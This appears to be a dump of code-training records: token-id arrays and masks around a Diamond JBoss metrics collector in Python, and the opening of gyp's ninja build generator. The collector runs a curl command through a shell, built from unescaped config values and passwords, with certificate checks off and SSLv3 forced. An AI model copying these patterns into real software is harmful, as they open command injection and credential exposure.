0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
timchenxiaoyu/Diamond
src/collectors/jbossapi/jbossapi.py
22
13926
# coding=utf-8 """ V. 1.0 JbossApiCollector is a collector that uses JBOSS 7 native API to collect data Tested on jboss 7.X.X?? Much of the code was borrowed from: http://bit.ly/XRrCWx https://github.com/lukaf/munin-plugins/blob/master/jboss7_ References: https://docs.jboss.org/author/display/AS7/Management+API+reference http://middlewaremagic.com/jboss/?p=2476 TODO: This code was made to work with the local system 'curl' command, due to difficulties getting urllib2 or pycurl to work under the python 2.4 options successfully doing SSL Digest Authentication. Plan is to make this code work with newer versions of python and possibly Requests. (http://docs.python-requests.org/en/latest/) If possible, please make future updates backwards compatible to call the local curl as an option. #### Dependencies * java * jboss * curl * json ##### Configuration # Uses local system curl until can be made to work with either urllib2, pycurl, or requests (http://docs.python-requests.org/en/latest/) enabled = True path_suffix = "" measure_collector_time = False interface_regex = ^(.+?)\. curl_bin = /usr/bin/curl connect_timeout = 4 hosts = wasadmin:pass@host:9443:https, wasadmin:pass@host:9443:https curl_options = "-s --digest -L " ssl_options = "--sslv3 -k" connector_stats = True | False connector_options = http, ajp app_stats = True | False jvm_memory_stats = True | False jvm_buffer_pool_stats = True | False jvm_memory_pool_stats = True | False jvm_gc_stats = True | False jvm_thread_stats = True | False """ import diamond.collector import os import re import subprocess try: import json except ImportError: import simplejson as json # Setup a set of VARs # Set this for use in curl request header = '"Content-Type: application/json"' operational_type = [ 'app', 'web', 'jvm', ] web_stats = [ 'errorCount', 'requestCount', 'bytesReceived', 'bytesSent', 'processingTime', ] memory_types = [ 'init', 'used', 'committed', 'max', ] buffer_pool_types = [ 'count', 'memory-used', ] thread_types = [ 'thread-count', 'daemon-thread-count' ] memory_topics = [ 'heap-memory-usage', 'non-heap-memory-usage', ] gc_types = [ 'collection-count', 'collection-time', ] class JbossApiCollector(diamond.collector.Collector): def process_config(self): super(JbossApiCollector, self).process_config() if self.config['hosts'].__class__.__name__ != 'list': self.config['hosts'] = [self.config['hosts']] # get the params for each host if 'host' in self.config: hoststr = "%s:%s@%s:%s:%s" % ( self.config['user'], self.config['password'], self.config['host'], self.config['port'], self.config['proto'], ) self.config['hosts'].append(hoststr) if type(self.config['connector_options']) is not list: self.config['connector_options'] = [ self.config['connector_options']] def get_default_config_help(self): # Need to update this when done to help explain details when running # diamond-setup. config_help = super(JbossApiCollector, self).get_default_config_help() config_help.update({ 'curl_bin': 'Path to system curl executable', 'hosts': 'List of hosts to collect from. Format is yourusername:yourpassword@host:port:proto', # NOQA 'app_stats': 'Collect application pool stats', 'jvm_memory_pool_stats': 'Collect JVM memory-pool stats', 'jvm_buffer_pool_stats': 'Collect JVM buffer-pool stats', 'jvm_memory_stats': 'Collect JVM basic memory stats', 'jvm_gc_stats': 'Collect JVM garbage-collector stats', 'jvm_thread_stats': 'Collect JVM thread stas', 'connector_stats': 'Collect HTTP and AJP Connector stats', 'connector_options': 'Types of connectors to collect' }) return config_help def get_default_config(self): # Initialize default config config = super(JbossApiCollector, self).get_default_config() config.update({ 'path': 'jboss', 'curl_bin': '/usr/bin/curl', 'connect_timeout': '4', 'ssl_options': '--sslv3 -k', 'curl_options': '-s --digest -L ', 'interface_regex': '^(.+?)\.', # matches up to first "." 'hosts': [], 'app_stats': 'True', 'connector_options': ['http', 'ajp'], 'jvm_memory_pool_stats': 'True', 'jvm_buffer_pool_stats': 'True', 'jvm_memory_stats': 'True', 'jvm_gc_stats': 'True', 'jvm_thread_stats': 'True', 'connector_stats': 'True' }) # Return default config return config def get_stats(self, current_host, current_port, current_proto, current_user, current_pword): if not os.access(self.config['curl_bin'], os.X_OK): self.log.error("%s is not executable or does not exist.", self.config['curl_bin']) # Check if there is a RegEx to perform on the interface names if self.config['interface_regex'] != '': interface = self.string_regex(self.config['interface_regex'], current_host) else: # Clean up any possible extra "."'s in the interface, keeps # graphite from creating directories interface = self.string_fix(current_host) for op_type in operational_type: output = self.get_data(op_type, current_host, current_port, current_proto, current_user, current_pword) if op_type == 'app' and self.config['app_stats'] == 'True': if output: # Grab the pool stats for each Instance for instance in output['result']['data-source']: datasource = output['result']['data-source'][instance] for metric in datasource['statistics']['pool']: metricName = '%s.%s.%s.statistics.pool.%s' % ( interface, op_type, instance, metric) metricValue = datasource[ 'statistics']['pool'][metric] self.publish(metricName, float(metricValue)) if op_type == 'web' and self.config['connector_stats'] == 'True': if output: # Grab http and ajp info (make these options) for c_type in self.config['connector_options']: for metric in web_stats: metricName = ('%s.%s.connector.%s.%s' % (interface, op_type, c_type, metric)) connector = output['result']['connector'] metricValue = connector[c_type][metric] self.publish(metricName, float(metricValue)) if op_type == 'jvm': if output: if self.config['jvm_memory_pool_stats'] == 'True': # Grab JVM memory pool stats mempool = output['result']['type']['memory-pool'] for pool_name in mempool['name']: for metric in memory_types: metricName = ('%s.%s.%s.%s.%s.%s' % (interface, op_type, 'memory-pool', pool_name, 'usage', metric)) metricValue = mempool['name'][pool_name][ 'usage'][metric] self.publish(metricName, float(metricValue)) # Grab JVM buffer-pool stats if self.config['jvm_buffer_pool_stats'] == 'True': bufferpool = output['result']['type']['buffer-pool'] for pool in bufferpool['name']: for metric in buffer_pool_types: metricName = ('%s.%s.%s.%s.%s' % (interface, op_type, 'buffer-pool', pool, metric)) metricValue = bufferpool['name'][pool][metric] self.publish(metricName, float(metricValue)) # Grab basic memory stats if self.config['jvm_memory_stats'] == 'True': for mem_type in memory_topics: for metric in memory_types: metricName = ('%s.%s.%s.%s.%s' % (interface, op_type, 'memory', mem_type, metric)) memory = output['result']['type']['memory'] metricValue = memory[mem_type][metric] self.publish(metricName, float(metricValue)) # Grab Garbage collection stats if self.config['jvm_gc_stats'] == 'True': garbage = output['result']['type']['garbage-collector'] for gc_name in garbage['name']: for metric in gc_types: metricName = ('%s.%s.%s.%s.%s' % (interface, op_type, 'garbage-collector', gc_name, metric)) metricValue = garbage['name'][gc_name][metric] self.publish(metricName, float(metricValue)) # Grab threading stats if self.config['jvm_thread_stats'] == 'True': for metric in thread_types: metricName = ('%s.%s.%s.%s' % (interface, op_type, 'threading', metric)) threading = output['result']['type']['threading'] metricValue = threading[metric] self.publish(metricName, float(metricValue)) return True def get_data(self, op_type, current_host, current_port, current_proto, current_user, current_pword): output = {} if op_type == 'app': data = ('{"operation":"read-resource", ' + '"include-runtime":"true", ' + '"recursive":"true", ' + '"address":["subsystem","datasources"]}') if op_type == 'web': data = ('{"operation":"read-resource", ' + '"include-runtime":"true", ' + '"recursive":"true", ' + '"address":["subsystem","web"]}') if op_type == 'jvm': data = ('{"operation":"read-resource", ' + '"include-runtime":"true", ' + '"recursive":"true", ' + '"address":["core-service","platform-mbean"]}') the_cmd = (("%s --connect-timeout %s %s %s %s://%s:%s/management " + "--header %s -d '%s' -u %s:%s") % ( self.config['curl_bin'], self.config['connect_timeout'], self.config['ssl_options'], self.config['curl_options'], current_proto, current_host, current_port, header, data, current_user, current_pword)) try: attributes = subprocess.Popen(the_cmd, shell=True, stdout=subprocess.PIPE ).communicate()[0] output = json.loads(attributes) except Exception, e: self.log.error("JbossApiCollector: There was an exception %s", e) output = '' return output def string_fix(self, s): return re.sub(r"[^a-zA-Z0-9_]", "_", s) def string_regex(self, pattern, s): tmp_result = re.match(pattern, s) return tmp_result.group(1) def collect(self): for host in self.config['hosts']: matches = re.search( '^([^:]*):([^@]*)@([^:]*):([^:]*):?(.*)', host) if not matches: continue current_host = matches.group(3) current_port = int(matches.group(4)) current_proto = matches.group(5) current_user = matches.group(1) current_pword = matches.group(2) # Call get_stats for each instance of jboss self.get_stats(current_host, current_port, current_proto, current_user, current_pword) return True
mit
[ 3, 2803, 29, 1624, 13, 24, 199, 199, 624, 199, 54, 14, 413, 14, 16, 199, 199, 42, 25020, 7394, 12852, 365, 282, 14910, 626, 4440, 1603, 3973, 2300, 1520, 5438, 3261, 370, 8775, 666, 199, 52, 3505, 641, 1335, 25020, 1520, 14, 56, 14, 56, 10674, 199, 199, 45, 2133, 402, 314, 1233, 1990, 330, 19598, 379, 687, 26, 199, 199, 1014, 921, 2075, 14, 590, 15, 12297, 82, 27303, 88, 199, 2859, 921, 5031, 14, 957, 15, 76, 3210, 2756, 15, 32368, 262, 13, 5265, 15, 6582, 15, 4133, 15, 74, 25020, 23, 63, 199, 199, 15242, 26, 199, 2859, 921, 4757, 14, 74, 25020, 14, 1308, 15, 2502, 15, 2918, 15, 1179, 23, 15, 14552, 11, 3735, 11, 4443, 199, 1014, 921, 5754, 11523, 14, 957, 15, 74, 25020, 10197, 80, 29, 1194, 2114, 199, 199, 11768, 26, 199, 2765, 1233, 1990, 6326, 370, 1736, 543, 314, 2257, 2656, 283, 17096, 7, 1414, 12, 7037, 370, 199, 7330, 1792, 1141, 397, 10232, 4011, 18, 503, 1134, 17096, 370, 1736, 1334, 314, 2366, 499, 14, 20, 1511, 199, 26193, 9689, 7799, 3757, 3199, 15995, 14, 199, 199, 13375, 365, 370, 1852, 642, 1233, 1736, 543, 15666, 5459, 402, 2366, 436, 12570, 199, 16272, 14, 334, 1014, 921, 4757, 14, 1548, 13, 6615, 14, 1308, 15, 287, 15, 7410, 24793, 199, 199, 3917, 3962, 12, 8749, 1852, 6466, 7029, 8552, 9025, 370, 1240, 314, 2257, 199, 17096, 465, 376, 945, 14, 421, 199, 381, 1487, 3209, 421, 627, 12120, 199, 627, 1335, 25020, 199, 627, 26145, 199, 627, 2022, 199, 199, 8776, 11595, 199, 199, 3, 14911, 2257, 2656, 26145, 5133, 883, 506, 6326, 370, 1736, 543, 1902, 4011, 18, 12, 1134, 17096, 12, 199, 269, 4145, 334, 1014, 921, 4757, 14, 1548, 13, 6615, 14, 1308, 15, 287, 15, 7410, 24793, 421, 199, 3827, 275, 715, 199, 515, 63, 4511, 275, 3087, 199, 9580, 63, 10946, 63, 521, 275, 756, 199, 3266, 63, 3821, 275, 7167, 28149, 31477, 199, 17096, 63, 1393, 275, 1182, 2647, 15, 1393, 15, 17096, 199, 2242, 63, 2593, 275, 841, 199, 5146, 275, 1990, 2113, 26, 1529, 32, 1102, 26, 25, 16284, 26, 2859, 12, 1990, 2113, 26, 1529, 32, 1102, 26, 25, 16284, 26, 2859, 199, 17096, 63, 1419, 275, 3905, 83, 1553, 5671, 446, 44, 298, 199, 4266, 63, 1419, 275, 4320, 4266, 86, 19, 446, 75, 2, 199, 11815, 63, 3200, 275, 715, 1204, 756, 199, 11815, 63, 1419, 275, 221, 1455, 12, 282, 11538, 199, 571, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 4844, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 2738, 63, 2293, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 4844, 63, 2293, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 9493, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 2671, 63, 3200, 275, 715, 1204, 756, 421, 199, 624, 199, 199, 646, 487, 24940, 14, 10946, 199, 646, 747, 199, 646, 295, 199, 646, 3873, 199, 199, 893, 26, 272, 492, 2022, 199, 2590, 3545, 26, 272, 492, 13804, 465, 2022, 421, 199, 3, 12439, 282, 663, 402, 16013, 83, 199, 3, 2494, 642, 367, 675, 315, 26145, 1056, 199, 1291, 275, 5522, 2714, 13, 804, 26, 4223, 15, 1001, 4507, 199, 199, 5735, 279, 63, 466, 275, 359, 272, 283, 571, 297, 272, 283, 2520, 297, 272, 283, 15813, 297, 199, 61, 421, 199, 2520, 63, 3200, 275, 359, 272, 283, 705, 2353, 297, 272, 283, 1069, 2353, 297, 272, 283, 2394, 9392, 297, 272, 283, 2394, 17367, 297, 272, 283, 6338, 1366, 297, 199, 61, 199, 199, 4844, 63, 1313, 275, 359, 272, 283, 826, 297, 272, 283, 2972, 297, 272, 283, 20300, 297, 272, 283, 988, 297, 199, 61, 199, 199, 2738, 63, 2293, 63, 1313, 275, 359, 272, 283, 835, 297, 272, 283, 4844, 13, 2972, 297, 199, 61, 199, 199, 2671, 63, 1313, 275, 359, 272, 283, 2671, 13, 835, 297, 272, 283, 10824, 13, 2671, 13, 835, 7, 199, 61, 199, 199, 4844, 63, 11299, 275, 359, 272, 283, 12492, 13, 4844, 13, 3807, 297, 272, 283, 2865, 13, 12492, 13, 4844, 13, 3807, 297, 199, 61, 199, 199, 9493, 63, 1313, 275, 359, 272, 283, 3627, 13, 835, 297, 272, 283, 3627, 13, 521, 297, 199, 61, 421, 199, 533, 1603, 25020, 7394, 12852, 8, 328, 24940, 14, 10946, 14, 12852, 304, 339, 347, 2112, 63, 888, 8, 277, 304, 267, 1613, 8, 42, 25020, 7394, 12852, 12, 291, 680, 1412, 63, 888, 342, 267, 340, 291, 14, 888, 459, 5146, 418, 855, 533, 4914, 354, 363, 1137, 283, 513, 356, 288, 291, 14, 888, 459, 5146, 418, 275, 359, 277, 14, 888, 459, 5146, 6538, 398, 327, 664, 314, 1862, 367, 1924, 1591, 267, 340, 283, 1102, 7, 315, 291, 14, 888, 26, 288, 1591, 495, 275, 2071, 83, 2689, 83, 19437, 83, 2689, 83, 2689, 83, 2, 450, 334, 355, 291, 14, 888, 459, 751, 995, 355, 291, 14, 888, 459, 2060, 995, 355, 291, 14, 888, 459, 1102, 995, 355, 291, 14, 888, 459, 719, 995, 355, 291, 14, 888, 459, 2625, 995, 288, 776, 288, 291, 14, 888, 459, 5146, 2278, 740, 8, 1102, 495, 9, 398, 340, 730, 8, 277, 14, 888, 459, 11815, 63, 1419, 1105, 365, 440, 769, 26, 288, 291, 14, 888, 459, 11815, 63, 1419, 418, 275, 359, 355, 291, 14, 888, 459, 11815, 63, 1419, 6538, 339, 347, 664, 63, 885, 63, 888, 63, 3437, 8, 277, 304, 267, 327, 14012, 370, 1678, 642, 1380, 4224, 370, 1720, 27797, 2436, 1380, 3879, 267, 327, 487, 24940, 13, 2758, 14, 267, 1101, 63, 3437, 275, 1613, 8, 42, 25020, 7394, 12852, 12, 291, 680, 362, 63, 885, 63, 888, 63, 3437, 342, 267, 1101, 63, 3437, 14, 873, 2561, 288, 283, 17096, 63, 1393, 356, 283, 2042, 370, 2656, 26145, 7286, 297, 288, 283, 5146, 356, 283, 1296, 402, 7057, 370, 8775, 687, 14, 9701, 365, 2195, 2473, 26, 12695, 2060, 32, 1102, 26, 719, 26, 2625, 297, 221, 327, 20432, 288, 283, 571, 63, 3200, 356, 283, 25023, 4223, 4203, 5020, 297, 288, 283, 15813, 63 ]
[ 2803, 29, 1624, 13, 24, 199, 199, 624, 199, 54, 14, 413, 14, 16, 199, 199, 42, 25020, 7394, 12852, 365, 282, 14910, 626, 4440, 1603, 3973, 2300, 1520, 5438, 3261, 370, 8775, 666, 199, 52, 3505, 641, 1335, 25020, 1520, 14, 56, 14, 56, 10674, 199, 199, 45, 2133, 402, 314, 1233, 1990, 330, 19598, 379, 687, 26, 199, 199, 1014, 921, 2075, 14, 590, 15, 12297, 82, 27303, 88, 199, 2859, 921, 5031, 14, 957, 15, 76, 3210, 2756, 15, 32368, 262, 13, 5265, 15, 6582, 15, 4133, 15, 74, 25020, 23, 63, 199, 199, 15242, 26, 199, 2859, 921, 4757, 14, 74, 25020, 14, 1308, 15, 2502, 15, 2918, 15, 1179, 23, 15, 14552, 11, 3735, 11, 4443, 199, 1014, 921, 5754, 11523, 14, 957, 15, 74, 25020, 10197, 80, 29, 1194, 2114, 199, 199, 11768, 26, 199, 2765, 1233, 1990, 6326, 370, 1736, 543, 314, 2257, 2656, 283, 17096, 7, 1414, 12, 7037, 370, 199, 7330, 1792, 1141, 397, 10232, 4011, 18, 503, 1134, 17096, 370, 1736, 1334, 314, 2366, 499, 14, 20, 1511, 199, 26193, 9689, 7799, 3757, 3199, 15995, 14, 199, 199, 13375, 365, 370, 1852, 642, 1233, 1736, 543, 15666, 5459, 402, 2366, 436, 12570, 199, 16272, 14, 334, 1014, 921, 4757, 14, 1548, 13, 6615, 14, 1308, 15, 287, 15, 7410, 24793, 199, 199, 3917, 3962, 12, 8749, 1852, 6466, 7029, 8552, 9025, 370, 1240, 314, 2257, 199, 17096, 465, 376, 945, 14, 421, 199, 381, 1487, 3209, 421, 627, 12120, 199, 627, 1335, 25020, 199, 627, 26145, 199, 627, 2022, 199, 199, 8776, 11595, 199, 199, 3, 14911, 2257, 2656, 26145, 5133, 883, 506, 6326, 370, 1736, 543, 1902, 4011, 18, 12, 1134, 17096, 12, 199, 269, 4145, 334, 1014, 921, 4757, 14, 1548, 13, 6615, 14, 1308, 15, 287, 15, 7410, 24793, 421, 199, 3827, 275, 715, 199, 515, 63, 4511, 275, 3087, 199, 9580, 63, 10946, 63, 521, 275, 756, 199, 3266, 63, 3821, 275, 7167, 28149, 31477, 199, 17096, 63, 1393, 275, 1182, 2647, 15, 1393, 15, 17096, 199, 2242, 63, 2593, 275, 841, 199, 5146, 275, 1990, 2113, 26, 1529, 32, 1102, 26, 25, 16284, 26, 2859, 12, 1990, 2113, 26, 1529, 32, 1102, 26, 25, 16284, 26, 2859, 199, 17096, 63, 1419, 275, 3905, 83, 1553, 5671, 446, 44, 298, 199, 4266, 63, 1419, 275, 4320, 4266, 86, 19, 446, 75, 2, 199, 11815, 63, 3200, 275, 715, 1204, 756, 199, 11815, 63, 1419, 275, 221, 1455, 12, 282, 11538, 199, 571, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 4844, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 2738, 63, 2293, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 4844, 63, 2293, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 9493, 63, 3200, 275, 715, 1204, 756, 199, 15813, 63, 2671, 63, 3200, 275, 715, 1204, 756, 421, 199, 624, 199, 199, 646, 487, 24940, 14, 10946, 199, 646, 747, 199, 646, 295, 199, 646, 3873, 199, 199, 893, 26, 272, 492, 2022, 199, 2590, 3545, 26, 272, 492, 13804, 465, 2022, 421, 199, 3, 12439, 282, 663, 402, 16013, 83, 199, 3, 2494, 642, 367, 675, 315, 26145, 1056, 199, 1291, 275, 5522, 2714, 13, 804, 26, 4223, 15, 1001, 4507, 199, 199, 5735, 279, 63, 466, 275, 359, 272, 283, 571, 297, 272, 283, 2520, 297, 272, 283, 15813, 297, 199, 61, 421, 199, 2520, 63, 3200, 275, 359, 272, 283, 705, 2353, 297, 272, 283, 1069, 2353, 297, 272, 283, 2394, 9392, 297, 272, 283, 2394, 17367, 297, 272, 283, 6338, 1366, 297, 199, 61, 199, 199, 4844, 63, 1313, 275, 359, 272, 283, 826, 297, 272, 283, 2972, 297, 272, 283, 20300, 297, 272, 283, 988, 297, 199, 61, 199, 199, 2738, 63, 2293, 63, 1313, 275, 359, 272, 283, 835, 297, 272, 283, 4844, 13, 2972, 297, 199, 61, 199, 199, 2671, 63, 1313, 275, 359, 272, 283, 2671, 13, 835, 297, 272, 283, 10824, 13, 2671, 13, 835, 7, 199, 61, 199, 199, 4844, 63, 11299, 275, 359, 272, 283, 12492, 13, 4844, 13, 3807, 297, 272, 283, 2865, 13, 12492, 13, 4844, 13, 3807, 297, 199, 61, 199, 199, 9493, 63, 1313, 275, 359, 272, 283, 3627, 13, 835, 297, 272, 283, 3627, 13, 521, 297, 199, 61, 421, 199, 533, 1603, 25020, 7394, 12852, 8, 328, 24940, 14, 10946, 14, 12852, 304, 339, 347, 2112, 63, 888, 8, 277, 304, 267, 1613, 8, 42, 25020, 7394, 12852, 12, 291, 680, 1412, 63, 888, 342, 267, 340, 291, 14, 888, 459, 5146, 418, 855, 533, 4914, 354, 363, 1137, 283, 513, 356, 288, 291, 14, 888, 459, 5146, 418, 275, 359, 277, 14, 888, 459, 5146, 6538, 398, 327, 664, 314, 1862, 367, 1924, 1591, 267, 340, 283, 1102, 7, 315, 291, 14, 888, 26, 288, 1591, 495, 275, 2071, 83, 2689, 83, 19437, 83, 2689, 83, 2689, 83, 2, 450, 334, 355, 291, 14, 888, 459, 751, 995, 355, 291, 14, 888, 459, 2060, 995, 355, 291, 14, 888, 459, 1102, 995, 355, 291, 14, 888, 459, 719, 995, 355, 291, 14, 888, 459, 2625, 995, 288, 776, 288, 291, 14, 888, 459, 5146, 2278, 740, 8, 1102, 495, 9, 398, 340, 730, 8, 277, 14, 888, 459, 11815, 63, 1419, 1105, 365, 440, 769, 26, 288, 291, 14, 888, 459, 11815, 63, 1419, 418, 275, 359, 355, 291, 14, 888, 459, 11815, 63, 1419, 6538, 339, 347, 664, 63, 885, 63, 888, 63, 3437, 8, 277, 304, 267, 327, 14012, 370, 1678, 642, 1380, 4224, 370, 1720, 27797, 2436, 1380, 3879, 267, 327, 487, 24940, 13, 2758, 14, 267, 1101, 63, 3437, 275, 1613, 8, 42, 25020, 7394, 12852, 12, 291, 680, 362, 63, 885, 63, 888, 63, 3437, 342, 267, 1101, 63, 3437, 14, 873, 2561, 288, 283, 17096, 63, 1393, 356, 283, 2042, 370, 2656, 26145, 7286, 297, 288, 283, 5146, 356, 283, 1296, 402, 7057, 370, 8775, 687, 14, 9701, 365, 2195, 2473, 26, 12695, 2060, 32, 1102, 26, 719, 26, 2625, 297, 221, 327, 20432, 288, 283, 571, 63, 3200, 356, 283, 25023, 4223, 4203, 5020, 297, 288, 283, 15813, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mapbox/pixelmatch-cpp
deps/gyp/pylib/gyp/generator/ninja.py
9
91743
# Copyright (c) 2013 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import collections import copy import hashlib import json import multiprocessing import os.path import re import signal import subprocess import sys import gyp import gyp.common import gyp.msvs_emulation import gyp.MSVSUtil as MSVSUtil import gyp.xcode_emulation from cStringIO import StringIO from gyp.common import GetEnvironFallback import gyp.ninja_syntax as ninja_syntax generator_default_variables = { 'EXECUTABLE_PREFIX': '', 'EXECUTABLE_SUFFIX': '', 'STATIC_LIB_PREFIX': 'lib', 'STATIC_LIB_SUFFIX': '.a', 'SHARED_LIB_PREFIX': 'lib', # Gyp expects the following variables to be expandable by the build # system to the appropriate locations. Ninja prefers paths to be # known at gyp time. To resolve this, introduce special # variables starting with $! and $| (which begin with a $ so gyp knows it # should be treated specially, but is otherwise an invalid # ninja/shell variable) that are passed to gyp here but expanded # before writing out into the target .ninja files; see # ExpandSpecial. # $! is used for variables that represent a path and that can only appear at # the start of a string, while $| is used for variables that can appear # anywhere in a string. 'INTERMEDIATE_DIR': '$!INTERMEDIATE_DIR', 'SHARED_INTERMEDIATE_DIR': '$!PRODUCT_DIR/gen', 'PRODUCT_DIR': '$!PRODUCT_DIR', 'CONFIGURATION_NAME': '$|CONFIGURATION_NAME', # Special variables that may be used by gyp 'rule' targets. # We generate definitions for these variables on the fly when processing a # rule. 'RULE_INPUT_ROOT': '${root}', 'RULE_INPUT_DIRNAME': '${dirname}', 'RULE_INPUT_PATH': '${source}', 'RULE_INPUT_EXT': '${ext}', 'RULE_INPUT_NAME': '${name}', } # Placates pylint. generator_additional_non_configuration_keys = [] generator_additional_path_sections = [] generator_extra_sources_for_rules = [] generator_filelist_paths = None # TODO: figure out how to not build extra host objects in the non-cross-compile # case when this is enabled, and enable unconditionally. generator_supports_multiple_toolsets = ( os.environ.get('GYP_CROSSCOMPILE') or os.environ.get('AR_host') or os.environ.get('CC_host') or os.environ.get('CXX_host') or os.environ.get('AR_target') or os.environ.get('CC_target') or os.environ.get('CXX_target')) def StripPrefix(arg, prefix): if arg.startswith(prefix): return arg[len(prefix):] return arg def QuoteShellArgument(arg, flavor): """Quote a string such that it will be interpreted as a single argument by the shell.""" # Rather than attempting to enumerate the bad shell characters, just # whitelist common OK ones and quote anything else. if re.match(r'^[a-zA-Z0-9_=.\\/-]+$', arg): return arg # No quoting necessary. if flavor == 'win': return gyp.msvs_emulation.QuoteForRspFile(arg) return "'" + arg.replace("'", "'" + '"\'"' + "'") + "'" def Define(d, flavor): """Takes a preprocessor define and returns a -D parameter that's ninja- and shell-escaped.""" if flavor == 'win': # cl.exe replaces literal # characters with = in preprocesor definitions for # some reason. Octal-encode to work around that. d = d.replace('#', '\\%03o' % ord('#')) return QuoteShellArgument(ninja_syntax.escape('-D' + d), flavor) def AddArch(output, arch): """Adds an arch string to an output path.""" output, extension = os.path.splitext(output) return '%s.%s%s' % (output, arch, extension) class Target: """Target represents the paths used within a single gyp target. Conceptually, building a single target A is a series of steps: 1) actions/rules/copies generates source/resources/etc. 2) compiles generates .o files 3) link generates a binary (library/executable) 4) bundle merges the above in a mac bundle (Any of these steps can be optional.) From a build ordering perspective, a dependent target B could just depend on the last output of this series of steps. But some dependent commands sometimes need to reach inside the box. For example, when linking B it needs to get the path to the static library generated by A. This object stores those paths. To keep things simple, member variables only store concrete paths to single files, while methods compute derived values like "the last output of the target". """ def __init__(self, type): # Gyp type ("static_library", etc.) of this target. self.type = type # File representing whether any input dependencies necessary for # dependent actions have completed. self.preaction_stamp = None # File representing whether any input dependencies necessary for # dependent compiles have completed. self.precompile_stamp = None # File representing the completion of actions/rules/copies, if any. self.actions_stamp = None # Path to the output of the link step, if any. self.binary = None # Path to the file representing the completion of building the bundle, # if any. self.bundle = None # On Windows, incremental linking requires linking against all the .objs # that compose a .lib (rather than the .lib itself). That list is stored # here. self.component_objs = None # Windows only. The import .lib is the output of a build step, but # because dependents only link against the lib (not both the lib and the # dll) we keep track of the import library here. self.import_lib = None def Linkable(self): """Return true if this is a target that can be linked against.""" return self.type in ('static_library', 'shared_library') def UsesToc(self, flavor): """Return true if the target should produce a restat rule based on a TOC file.""" # For bundles, the .TOC should be produced for the binary, not for # FinalOutput(). But the naive approach would put the TOC file into the # bundle, so don't do this for bundles for now. if flavor == 'win' or self.bundle: return False return self.type in ('shared_library', 'loadable_module') def PreActionInput(self, flavor): """Return the path, if any, that should be used as a dependency of any dependent action step.""" if self.UsesToc(flavor): return self.FinalOutput() + '.TOC' return self.FinalOutput() or self.preaction_stamp def PreCompileInput(self): """Return the path, if any, that should be used as a dependency of any dependent compile step.""" return self.actions_stamp or self.precompile_stamp def FinalOutput(self): """Return the last output of the target, which depends on all prior steps.""" return self.bundle or self.binary or self.actions_stamp # A small discourse on paths as used within the Ninja build: # All files we produce (both at gyp and at build time) appear in the # build directory (e.g. out/Debug). # # Paths within a given .gyp file are always relative to the directory # containing the .gyp file. Call these "gyp paths". This includes # sources as well as the starting directory a given gyp rule/action # expects to be run from. We call the path from the source root to # the gyp file the "base directory" within the per-.gyp-file # NinjaWriter code. # # All paths as written into the .ninja files are relative to the build # directory. Call these paths "ninja paths". # # We translate between these two notions of paths with two helper # functions: # # - GypPathToNinja translates a gyp path (i.e. relative to the .gyp file) # into the equivalent ninja path. # # - GypPathToUniqueOutput translates a gyp path into a ninja path to write # an output file; the result can be namespaced such that it is unique # to the input file name as well as the output target name. class NinjaWriter: def __init__(self, qualified_target, target_outputs, base_dir, build_dir, output_file, toplevel_build, output_file_name, flavor, toplevel_dir=None): """ base_dir: path from source root to directory containing this gyp file, by gyp semantics, all input paths are relative to this build_dir: path from source root to build output toplevel_dir: path to the toplevel directory """ self.qualified_target = qualified_target self.target_outputs = target_outputs self.base_dir = base_dir self.build_dir = build_dir self.ninja = ninja_syntax.Writer(output_file) self.toplevel_build = toplevel_build self.output_file_name = output_file_name self.flavor = flavor self.abs_build_dir = None if toplevel_dir is not None: self.abs_build_dir = os.path.abspath(os.path.join(toplevel_dir, build_dir)) self.obj_ext = '.obj' if flavor == 'win' else 